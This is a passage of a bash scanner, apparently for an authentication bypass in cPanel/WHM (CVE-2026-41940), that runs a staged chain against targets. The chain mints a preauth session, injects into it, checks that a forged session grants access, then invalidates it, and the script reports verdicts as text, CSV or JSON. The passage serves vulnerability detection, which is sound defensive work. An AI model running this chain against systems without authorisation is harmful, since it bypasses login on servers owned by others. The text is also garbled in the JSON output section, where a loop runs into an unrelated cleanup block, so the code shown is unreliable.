on SKIP-only targets, ensure the host appears in TARGET_ORDER so # the box header renders correctly. Verdict stays unset → reported as # a target with 0 conclusive probes. if [[ -z "${TARGET_VERDICT[$host]:-}" ]]; then TARGET_ORDER+=("$host") fi fi emit_probe_line "$desc" "$verdict" "$detail" "$http" "$loc" "$sch" "$host" "$port" "$hh" } # === Single-probe runner === probe_target() { local scheme=$1 host=$2 port=$3 host_hdr=$4 desc=$5 local url; url=$(build_url "$scheme" "$host" "$port") local effective_hdr="$host_hdr" # auto-discover canonical Host (only if requested and not already set) if [[ "$AUTO_DISCOVER_HOST" = "1" ]] && [[ -z "$effective_hdr" ]]; then local canon; canon=$(discover_canonical "$url") [[ -n "$canon" ]] && effective_hdr="$canon" && log_v "[$desc] auto-discovered canonical Host: ${effective_hdr}" fi # Proxy-domain mode: when an explicit host_hdr differs from the URL host, # rebuild the URL using the hostname and pin DNS to the original IP via # curl --resolve. Apache 2.4 + HTTP/2 enforces SNI = Host strictly and # returns 421 Misdirected Request if they disagree, which the bare # `-H "Host: ..."` approach trips. The resolve pin makes curl present the # right SNI while still hitting the target IP. local resolve_pin="" if [[ -n "$effective_hdr" ]] && [[ "$effective_hdr" != "$host" ]]; then local effective_port="${port:-443}" [[ "$scheme" = "http" ]] && effective_port="${port:-80}" url=$(build_url "$scheme" "$effective_hdr" "$effective_port") resolve_pin="${effective_hdr}:${effective_port}:${host}" log_v "[$desc] resolve pin: ${resolve_pin}" fi log_v "[$desc] target: ${url}" log_v "[$desc] Host header: ${effective_hdr:-}" # Stage 0 - passive fingerprint (always runs; populates CUR_* used by # record_result for CSV/JSON column population) CUR_BUILD=""; CUR_MAGIC_REV=""; CUR_SERVER_HDR=""; CUR_PATCH_STATUS="" local fp_result fp_status fp_rest fp_result=$(fingerprint_target "$url" "$effective_hdr" "$resolve_pin") fp_status="${fp_result%%|*}"; fp_rest="${fp_result#*|}" CUR_BUILD="${fp_rest%%|*}"; fp_rest="${fp_rest#*|}" CUR_MAGIC_REV="${fp_rest%%|*}"; CUR_SERVER_HDR="${fp_rest#*|}" CUR_PATCH_STATUS=$(compute_patch_status "$CUR_BUILD") log_v "[$desc] stage 0 build: ${CUR_BUILD:-}" log_v "[$desc] stage 0 magic_revision: ${CUR_MAGIC_REV:-}" log_v "[$desc] stage 0 server header: ${CUR_SERVER_HDR:-}" log_v "[$desc] stage 0 patch_status: ${CUR_PATCH_STATUS}" # --fingerprint-only: derive verdict from patch_status table and return. # No preauth session minted, no exploit chain, side-effect free. if [[ "$FINGERPRINT_ONLY" = "1" ]]; then local fp_verdict fp_detail if [[ "$fp_status" != "ok" ]]; then fp_verdict="$V_INCONCLUSIVE" case "$fp_status" in transport_6) fp_detail="stage 0 - DNS resolution failed" ;; transport_7) fp_detail="stage 0 - TCP refused/timeout (cpsrvd unreachable)" ;; transport_28) fp_detail="stage 0 - TCP timeout (port firewalled)" ;; transport_35|transport_52|transport_56|transport_60) fp_detail="stage 0 - TLS handshake failed" ;; *) fp_detail="stage 0 - curl ${fp_status}" ;; esac else case "$CUR_PATCH_STATUS" in patched) fp_verdict="$V_SAFE" fp_detail="banner-only fingerprint: $(patch_status_phrase patched "$CUR_BUILD")" ;; patched_eol) fp_verdict="$V_SAFE" fp_detail="banner-only fingerprint: $(patch_status_phrase patched_eol "$CUR_BUILD")" ;; vulnerable) fp_verdict="$V_VULN" fp_detail="banner-only fingerprint: $(patch_status_phrase vulnerable "$CUR_BUILD") - no chain confirmation" ;; eol_no_patch) fp_verdict="$V_VULN" fp_detail="banner-only fingerprint: $(patch_status_phrase eol_no_patch "$CUR_BUILD") - no chain confirmation" ;; unknown|*) fp_verdict="$V_INCONCLUSIVE" if [[ -n "$CUR_BUILD" ]]; then fp_detail="banner-only fingerprint: $(patch_status_phrase unknown "$CUR_BUILD")" elif [[ -n "$CUR_MAGIC_REV" ]]; then fp_detail="banner-only fingerprint: Server: header lacks build; magic_revision=${CUR_MAGIC_REV}" else fp_detail="banner-only fingerprint: no build / no magic_revision parsed (response not from cpsrvd?)" fi ;; esac fi record_result "$desc" "$url" "$fp_verdict" "$fp_detail" "" "" "$scheme" "$host" "$port" "$effective_hdr" return fi # Stage 1 - returns "|" local s1_result s1_reason cookie s1_result=$(mint_preauth "$url" "$effective_hdr" "$resolve_pin") s1_reason="${s1_result%%|*}" cookie="${s1_result#*|}" log_v "[$desc] stage 1 reason: ${s1_reason}" log_v "[$desc] stage 1 cookie: ${cookie}" if [[ "$s1_reason" != "ok" ]]; then local detail verdict="$V_INCONCLUSIVE" case "$s1_reason" in dns_failed) detail="stage 1 - DNS resolution failed" ;; connect_refused) detail="stage 1 - TCP refused (cpsrvd not listening on this port)" ;; connect_timeout) detail="stage 1 - TCP timeout (port firewalled or host unreachable)" ;; tls_failed) detail="stage 1 - TLS handshake failed" ;; http_421) detail="stage 1 - HTTP 421 Misdirected (SNI/Host mismatch; try --auto-host-discover)" ;; redirect_to_ssl) # cpsrvd's "force HTTPS" config - this surface just redirects to its # SSL counterpart, which is the same daemon. SKIP, not INCONC. verdict="$V_SKIP" detail="redirected to ${cookie} - see paired SSL probe" ;; http_*_no_cookie) local _code="${s1_reason#http_}"; _code="${_code%_no_cookie}" detail="stage 1 - HTTP ${_code}; no whostmgrsession (response not from cpsrvd?)" ;; transport_*) detail="stage 1 - curl transport failure (${s1_reason})" ;; *) detail="stage 1 - ${s1_reason}" ;; esac record_result "$desc" "$url" "$verdict" "$detail" "" "" "$scheme" "$host" "$port" "$effective_hdr" return fi # ob_part strip local session_base="${cookie%%,*}" if [[ "$session_base" = "$cookie" ]]; then record_result "$desc" "$url" "$V_INCONCLUSIVE" "stage 1 - cookie has no ob_part (unusual cpsrvd configuration)" "" "" "$scheme" "$host" "$port" "$effective_hdr" return fi log_v "[$desc] session_base (ob-stripped): ${session_base}" # Stage 2 local result status loc result=$(inject_probe "$url" "$effective_hdr" "$session_base" "$resolve_pin") if [[ -z "$result" ]]; then record_result "$desc" "$url" "$V_INCONCLUSIVE" "stage 2 - curl transport failure" "" "" "$scheme" "$host" "$port" "$effective_hdr" return fi status="${result%%|*}"; loc="${result#*|}" log_v "[$desc] stage 2 HTTP: ${status:-}" log_v "[$desc] stage 2 Location: ${loc:-}" # Stage 2 must produce 307 + /cpsess<10>/ for the bypass to be possible. # Anything else is a definitive SAFE (or a transport edge case). local cpsess="" if [[ "$status" = "307" ]] && echo "$loc" | grep -qE '/cpsess[0-9]{10}'; then cpsess=$(echo "$loc" | grep -oE '/cpsess[0-9]{10}' | head -1) elif [[ "$status" = "401" ]] || [[ "$status" = "403" ]]; then record_result "$desc" "$url" "$V_SAFE" "HTTP ${status} at stage 2; no /cpsess leak" "$status" "$loc" "$scheme" "$host" "$port" "$effective_hdr" return elif [[ -z "$status" ]]; then record_result "$desc" "$url" "$V_INCONCLUSIVE" "stage 2 - no HTTP status received" "" "$loc" "$scheme" "$host" "$port" "$effective_hdr" return else record_result "$desc" "$url" "$V_INCONCLUSIVE" "stage 2 HTTP ${status}; no /cpsess leak - manual review" "$status" "$loc" "$scheme" "$host" "$port" "$effective_hdr" return fi # --no-verify: stop at stage 2 (v1 heuristic; produces false positives on # patched hosts because cpsrvd 307s any cookie-bearing request to /cpsess/) if [[ "$NO_VERIFY" = "1" ]]; then record_result "$desc" "$url" "$V_VULN" "HTTP 307; leaked ${cpsess} (stage-2 only - may false-positive)" "$status" "$loc" "$scheme" "$host" "$port" "$effective_hdr" return fi # Stage 3 - propagate raw → cache so stage 4 can read the injected session local s3_status s3_status=$(propagate_session "$url" "$effective_hdr" "$session_base" "$resolve_pin") log_v "[$desc] stage 3 HTTP: ${s3_status:-}" # Stage 4 - verify the leaked cpsess actually grants session access local s4_result s4_status s4_body s4_result=$(verify_session "$url" "$effective_hdr" "$session_base" "$cpsess" "$resolve_pin") if [[ -z "$s4_result" ]]; then # Stage 5 cleanup even if stage 4 failed (session may still be live) invalidate_session "$url" "$effective_hdr" "$session_base" "$cpsess" "$resolve_pin" record_result "$desc" "$url" "$V_INCONCLUSIVE" "stage 4 - curl transport failure (session left live; auto-expires)" "$status" "$loc" "$scheme" "$host" "$port" "$effective_hdr" return fi s4_status="${s4_result%%|*}"; s4_body="${s4_result#*|}" log_v "[$desc] stage 4 HTTP: ${s4_status:-}" log_v "[$desc] stage 4 body: ${s4_body}" # Stage 5 - invalidate the forged session (best-effort) invalidate_session "$url" "$effective_hdr" "$session_base" "$cpsess" "$resolve_pin" # Verdict on stage-4 result if [[ "$s4_status" = "200" ]]; then record_result "$desc" "$url" "$V_VULN" "HTTP 307→${cpsess}; verify HTTP 200 (bypass landed; session invalidated)" "$s4_status" "$loc" "$scheme" "$host" "$port" "$effective_hdr" elif [[ "$s4_status" = "500" || "$s4_status" = "503" ]] && echo "$s4_body" | grep -qi 'license'; then record_result "$desc" "$url" "$V_VULN" "HTTP 307→${cpsess}; verify HTTP ${s4_status} (license-gated past auth)" "$s4_status" "$loc" "$scheme" "$host" "$port" "$effective_hdr" elif [[ "$s4_status" = "401" ]] || [[ "$s4_status" = "403" ]]; then record_result "$desc" "$url" "$V_SAFE" "HTTP 307 was URL canonicalization; verify HTTP ${s4_status} (bypass blocked)" "$s4_status" "$loc" "$scheme" "$host" "$port" "$effective_hdr" elif [[ -z "$s4_status" ]]; then record_result "$desc" "$url" "$V_INCONCLUSIVE" "stage 4 - no HTTP status received" "" "$loc" "$scheme" "$host" "$port" "$effective_hdr" else record_result "$desc" "$url" "$V_INCONCLUSIVE" "stage 4 HTTP ${s4_status}; manual review" "$s4_status" "$loc" "$scheme" "$host" "$port" "$effective_hdr" fi } # === Permutation runners === probe_direct_ports_whm() { local target=$1 for tuple in "2087:https:WHM-SSL" "2086:http:WHM"; do local port="${tuple%%:*}"; local rest="${tuple#*:}" local sch="${rest%%:*}"; local label="${rest#*:}" probe_target "$sch" "$target" "$port" "" "DIRECT-${label}@${target}:${port}" done } probe_direct_ports_all() { # Note: cPanel/Webmail probes use the WHM cookie name (whostmgrsession) so # they will INCONCLUSIVE on those ports - those daemons issue cpsession= # and webmailsession= respectively. The watchTowr public PoC is WHM-only. local target=$1 for tuple in \ "2087:https:WHM-SSL" "2086:http:WHM" \ "2083:https:cPanel-SSL" "2082:http:cPanel" \ "2096:https:Webmail-SSL" "2095:http:Webmail" do local port="${tuple%%:*}"; local rest="${tuple#*:}" local sch="${rest%%:*}"; local label="${rest#*:}" probe_target "$sch" "$target" "$port" "" "DIRECT-${label}@${target}:${port}" done } probe_proxy_subdomains() { local target=$1 proxy_domain=$2 for sub in whm cpanel webmail; do local hdr="${sub}.${proxy_domain}" probe_target "https" "$target" "443" "$hdr" "PROXY-${sub}-SSL@${hdr}" probe_target "http" "$target" "80" "$hdr" "PROXY-${sub}-HTTP@${hdr}" done } # === JSON output === json_escape() { local s=$1 s="${s//\\/\\\\}"; s="${s//\"/\\\"}" s="${s//$'\n'/\\n}"; s="${s//$'\r'/\\r}"; s="${s//$'\t'/\\t}" printf '%s' "$s" } emit_json() { local n=${#R_DESC[@]} i first printf '{\n' printf ' "tool": "sessionscribe-remote-probe.sh",\n' printf ' "version": "%s",\n' "$SCRIPT_VERSION" printf ' "cve": "CVE-2026-41940",\n' printf ' "ran_at": "%s",\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" printf ' "probe_nonce": "%s",\n' "$NONCE" printf ' "probe_canary": "%s",\n' "$CANARY" printf ' "no_verify": %s,\n' "$([ "$NO_VERIFY" = 1 ] && echo true || echo false)" printf ' "fingerprint_only": %s,\n' "$([ "$FINGERPRINT_ONLY" = 1 ] && echo true || echo false)" printf ' "summary": {"vuln":%d,"safe":%d,"inconclusive":%d,"total":%d},\n' \ "$N_VULN" "$N_SAFE" "$N_INC" "$N_TOTAL" printf ' "targets": [\n' first=1 for host in "${TARGET_ORDER[@]}"; do [[ $first -eq 0 ]] && printf ',\n'; first=0 printf ' {"host": "%s", "verdict": "%s"}' \ "$(json_escape "$host")" "${TARGET_VERDICT[$host]}" done printf '\n ],\n' printf ' "probes": [\n' first=1 for ((i=0; i/dev/null \ | while read f; do n=$(basename "$f") rm -f "/var/cpanel/sessions/raw/$n" \ "/var/cpanel/sessions/cache/$n" \ "/var/cpanel/sessions/preauth/$n" done CLEANUP_EOF exit 0 fi # csv/json/oneline disable color in their bodies anyway, but quiet keeps color case "$OUTPUT_MODE" in csv|json|oneline) RED=''; GREEN=''; YELLOW=''; CYAN=''; BOLD=''; DIM=''; NC='' ;; esac if [ "${#TARGETS[@]}" -eq 0 ]; then init_colors; usage; exit 64 fi # CSV header (must come before probes for streamability) [[ "$OUTPUT_MODE" = "csv" ]] && emit_csv_header # Banner (text mode only) if [[ "$OUTPUT_MODE" = "text" ]]; then printf '\n %s%s%s\n' "$BOLD" "$RULE_DOUBLE" "$NC" printf ' %ssessionscribe-remote-probe.sh v%s CVE-2026-41940 · SessionScribe%s\n' \ "$BOLD" "$SCRIPT_VERSION" "$NC" printf ' %s%s%s\n' "$BOLD" "$RULE_DOUBLE" "$NC" printf ' %sProbe-ID%s %s\n' "$DIM" "$NC" "$NONCE" printf ' %sStarted%s %s\n' "$DIM" "$NC" "$(date -u '+%Y-%m-%d %H:%M:%S UTC')" printf ' %sTargets%s %d\n' "$DIM" "$NC" "${#TARGETS[@]}" if [[ "$NO_VERIFY" = "1" ]]; then printf ' %sMode%s %s--no-verify (stage-2 heuristic; FALSE POSITIVES on patched hosts)%s\n' \ "$DIM" "$NC" "$YELLOW" "$NC" fi if [[ "$FINGERPRINT_ONLY" = "1" ]]; then printf ' %sMode%s %s--fingerprint-only (stage 0 banner only - lower confidence than full chain)%s\n' \ "$DIM" "$NC" "$YELLOW" "$NC" fi fi local idx=0 total_t=${#TARGETS[@]} for target in "${TARGETS[@]}"; do idx=$((idx+1)) if [[ "$OUTPUT_MODE" = "text" ]]; then box_top "$target" fi if [[ "$ALL_PERMUTATIONS" = "1" ]]; then probe_direct_ports_all "$target" [[ -n "$PROXY_DOMAIN" ]] && probe_proxy_subdomains "$target" "$PROXY_DOMAIN" elif [[ -n "$PROXY_DOMAIN" ]]; then probe_proxy_subdomains "$target" "$PROXY_DOMAIN" elif [[ -n "$FORCED_PORT" ]]; then local sch="${FORCED_SCHEME:-https}" # Map common cpsrvd ports to canonical role labels for the role column local role case "$FORCED_PORT" in 2087) role="WHM-SSL" ;; 2086) role="WHM" ;; 2083) role="cPanel-SSL" ;; 2082) role="cPanel" ;; 2096) role="Webmail-SSL" ;; 2095) role="Webmail" ;; *) role="${sch}" ;; esac probe_target "$sch" "$target" "$FORCED_PORT" "$FORCED_HOST_HEADER" \ "DIRECT-${role}@${target}:${FORCED_PORT}" else probe_direct_ports_whm "$target" fi if [[ "$OUTPUT_MODE" = "text" ]]; then box_bottom fi done # Output finalization per mode case "$OUTPUT_MODE" in json) emit_json ;; oneline) emit_oneline ;; csv) : ;; # rows already emitted text|quiet) emit_summary ;; esac # Exit code - based on TARGET-level rollup local et_vuln=0 et_inc=0 et_safe=0 for h in "${TARGET_ORDER[@]}"; do case "${TARGET_VERDICT[$h]}" in "$V_VULN") et_vuln=$((et_vuln+1)) ;; "$V_SAFE") et_safe=$((et_safe+1)) ;; "$V_INCONCLUSIVE") et_inc=$((et_inc+1)) ;; esac done if [[ $et_vuln -gt 0 ]]; then exit 2; fi if [[ $et_safe -eq 0 ]] && [[ $et_inc -gt 0 ]]; then exit 1; fi exit 0 } main "$@"